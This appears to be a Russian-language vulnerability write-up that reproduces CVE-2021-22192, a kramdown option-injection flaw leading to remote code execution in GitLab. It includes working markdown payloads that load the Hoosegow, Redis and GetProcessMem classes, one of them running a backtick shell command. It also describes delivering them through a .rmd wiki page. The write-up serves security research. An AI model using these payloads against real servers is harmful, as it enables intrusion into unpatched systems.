
CVE-2021-22192
Приступая к анализу этой ошибки, я получил лишь некоторую ценную информацию от lyy289065406, которая помогла мне понять суть этой ошибки. Кажется, ошибка в gem kramdown (<= 2.3.0), поэтому я начал изучать kramdown в первую очередь.
Мы можем проверить патч kramdown и увидеть разницу в функции formatter_class в модуле Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) было изменено на ::Rouge::Formatters.const_get(formatter, false)
Функция const_get наследуется от класса Object и может получать константы. Она даже может возвращать классы, объявленные ранее, если их можно найти. Разница лишь в добавлении параметра false. Добавление параметра false не позволяет const_get получать константы из родительских классов или модулей.
Что ещё более важно: в функции self.call вызывается formatter_class, а затем new(opts). Это означает, что метод, полученный через const_get, будет вызывать конструктор для инициализации.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Основываясь на Kramdown:Options, мы можем вызвать функцию Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Кроме того, в модуле Kramdown:Options функция simple_hash_validator вызывает YAML.safe_load(val). Таким образом, мы также можем настроить YML-файл для передачи желаемой полезной нагрузки в Kramdown::Converter::SyntaxHighlighter::Rouge
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
Сначала нужно настроить Jekyll:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock, установив версию kramdown <= 2.3.0cd jekyllTest
Файл Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Таким образом, мы завершили создание страницы Jekyll. Теперь мы можем вставить полезную нагрузку, чтобы проверить, действительно ли Kramdown::Converter::SyntaxHighlighter::Rouge.call вызывает какой-либо метод.
мы можем добавить в файл ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Или использовать документ kramdown, добавив полезную нагрузку в ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Здесь я использую второй способ =)))))
bundle exec jekyll serve
возможно, вы получите ошибку "require': cannot load such file -- webrick (LoadError)", вам нужно добавить gem "webrick" в Gemfile
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:. Это доказывает, что класс CSV был вызван.Согласно статье, анализирующей CVE-2020-10518, в которой используется ошибка в kramdown для RCE на Github. Я нацелился на класс Hoosegow:
initialize класса Hoosegow вызывается load_inmate_methodsdef initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods мы видим, что вызывается require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
А inmate_file создается путем объединения строки @inmate_dir с 'inmate.rb'. Если мы сможем вызвать этот класс и изменить параметр inmate_dir на путь к нашему файлу полезной нагрузки, разве это не приведет к RCE?
Я запускаю скрипт в пути страницы Jekyll, чтобы проверить определенные методы:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
Оказывается, в моем class path не был объявлен класс Hoosegow. Я добавил gem "hoosegow" в Gemfile, и скрипт нашел этот класс. [Хе-хе-хе]
Hoosegow через kramdown{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Я застрял здесь.. на неделю. Да, потерял неделю из-за этого. Я вертелся вокруг вопроса: "Почему в bundler уже есть класс Hoosegow, но при вызове из Kramdown он не работает? Должно же быть иначе ???"
Я подумал: "Если уже объявлено в Gemfile, значит, в class path уже есть этот класс. Тогда, если программа всё ещё не находит 'Hoosegow', значит, он не был загружен...". Так есть ли способ объявить gem так, чтобы при запуске Jekyll он загружался до обработки других частей исходного каталога?
Я прочитал документацию Jekyll и нашел jekyll_plugins. Объявления в Gemfile недостаточно, нужно объявить gem в группе jekyll_plugins, иначе не сработает :( потому что когда gem находится в jekyll_plugins, он будет загружен в любом случае до того, как Jekyll обработает другие источники. Даже при запуске Jekyll в безопасном режиме.
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
inmate.rb в C:/ и запустил полезную нагрузку:{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb был вызван. Таким образом, мы почти успешно воссоздали PoC, не так ли.
inmate.rb на сервер GitLab и узнать, где находится только что загруженный файл inmate.rb??before_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml. Я пытался объяснить это разными способами: "Возможно, есть механизм сканирования файла .yml перед его загрузкой?"... но это меня не удовлетворило...
Я поискал другой путь ввода — страницу wiki. Страница wiki позволяет использовать формат kramdown, поэтому я заподозрил и протестировал его, но безрезультатно, потому что я вставил полезную нагрузку только в файл по умолчанию '*.md', а файлы '*.md' имеют ограниченные функции, поэтому я отказался от этого пути :(
На этом я был вынужден остановиться и подождать публикации PoC, чтобы посвятить время другим исследованиям.
В один прекрасный день PoC был опубликован. Прочитав его, я почувствовал, как во мне просыпается сильное чувство "цыпленка", не говоря уже =)).
Основная проблема была в kramdown, и мы пошли по правильному пути, но путь к нему в GitLab оказался немного кривым =)
Автор обнаружил, что при загрузке страницы wiki с файлом '*.rmd' программа вызывает render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. Таким образом, файл '*.rmd' будет обработан с помощью kramdown.
Автор загрузил свой файл '.rmd', клонировав страницу wiki на локальный компьютер, а затем используя git для отправки страницы wiki (с файлом '.rmd') в GitLab.
Автор использовал класс Redis (который уже объявлен в проекте GitLab, поэтому мы можем вызывать и использовать этот класс) для выполнения своей полезной нагрузки.
При инициализации класса Redis, если существует опция driver, программа вызывает функцию _parse_driver. Здесь программа выполняет require "connection/#{driver}", и мы можем повлиять на переменную driver, чтобы программа вызвала файл полезной нагрузки, загруженный на сервер.
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
snippet атакующий может загрузить полезную нагрузку Ruby с помощью Attach a file.Используя путь от Kramdown к классу Redis, сначала автор импортирует gem get_process_mem с полезной нагрузкой:
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
Затем он использует ранее импортированный gem get_process_mem для RCE:
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
Таким образом, без необходимости находить адрес файла полезной нагрузки, атакующий все равно может выполнить RCE на сервере GitLab.
Ref: